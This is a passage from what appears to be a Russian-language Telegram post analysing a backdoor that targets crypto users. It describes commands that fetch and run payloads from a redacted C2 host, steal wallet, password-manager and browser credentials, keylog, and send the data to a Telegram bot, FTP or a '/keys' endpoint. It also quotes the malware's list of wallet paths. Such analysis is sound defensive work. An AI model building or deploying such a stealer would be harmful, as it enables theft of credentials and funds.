ssh_cmd – если args == delete, то удаляет данный файл после закрытия соединения (других аргументов в коде скрипта обнаружено не было).
ssh_clip – отправляет на сервер содержимое глобальной переменной e_buf (о ней расскажем чуть позже).
ssh_run – скачивает c http://<XXX.XXX.XXX.XXX>:1244/brow/NVRlYW05 в ~/.n2/bow и запускает его.
ssh_upload – в зависимости от переданного аргумента может загружать папки, файлы, искать определенные файлы и папки и загружать их.
ssh_kill – завершает процессы браузеров Brave и Chrome.
ssh_any – скачивает нагрузку с http://<XXX.XXX.XXX.XXX>:1244/adc/NVRlYW05 в ~/.n2/adc и запускает её.
ssh_env – в аргументе приходят данные для подключения к FTP-серверу. Если компьютер работает под управлением Windows, происходит отправка файлов из папок ~/Documents и ~/Downloads. В противном случае отправляются файлы из папок ~/home ~/Volumes.
ssh_zcp – создает временную папку, в которую копирует файлы из расширений браузеров, которые являются криптокошельками. Список весьма внушительный, публиковать его здесь мы не будем. Просто поверьте, что там много. Значительно больше, чем в листинге из предыдущего поста. В эту же папку копируются файлы клиентских криптокошельков:
app_win_array={r"%LocalAppData%\\1Password":"1pass",r"%AppData%\\Exodus":"exodus",
r"%AppData%\\atomic":"atomic",r"%AppData%\\Electrum":"electrum",
r"%AppData%\\WinAuth":"winauth",
r"%AppData%\\Proxifier4\\Profiles":"proxifier4",
r"%AppData%\\Dashlane":"dashlane"}app_osx_array={m_base_p+"Exodus":"exodus",m_base_p+"atomic":"atomic"}
app_linux_array={l_conf_p+"Exodus":"exodus",l_conf_p+"atomic":"atomic"}После этого временная папка сжимается и отправляется Telegram-боту, токен от которого был получен в аргументе к команде (работа через Telegram набирает популярность). Если отправка боту завершилась с ошибкой, происходит загрузка на FTP сервер.
Если система работает под управлением Windows, будет запущен keylogger, результаты которого будут записываться в глобальную переменную e_buf, содержимое которой, в свою очередь, будет отправлено на сервер при вызове функции ssh_clip, о которой шла речь выше.
По сути, бэкдор позволяет на время своей работы получить контроль над системой с теми же возможностями, что и текущий пользователь.
Но это ещё не всё. Ведь у нас осталось ещё два скрипта: bow и adc
bow
Скрипт bow пытается дешифровать логин и пароль из популярных браузеров (Chrome, Opera, Brave, Yandex, Microsoft Edge) и отправить их на http://<XXX.XXX.XXX.XXX>:1244/keys
adc
Если компьютер находится под управлением Windows, скрипт пытается обратиться к http://<XXX.XXX.XXX.XXX>:1244/any , скачать Anydesk.exe (утилита для удалённого администрирования системы) и установить его. После этого в конфигурационный файл прописываются свои данные. Если же компьютер находится под управлением Linux, скрипт пытается найти уже установленный Anydesk и дописывает в файл конфигурации свои данные. Таким образом на системе жертвы устанавливается полноценный RAT (Remote Access Trojan) с широчайшими возможностями для любых дальнейших действий.
Выводы... А выводы будут чуть позже
#offensive #malware #фишинг #blockchain
🔥8👍3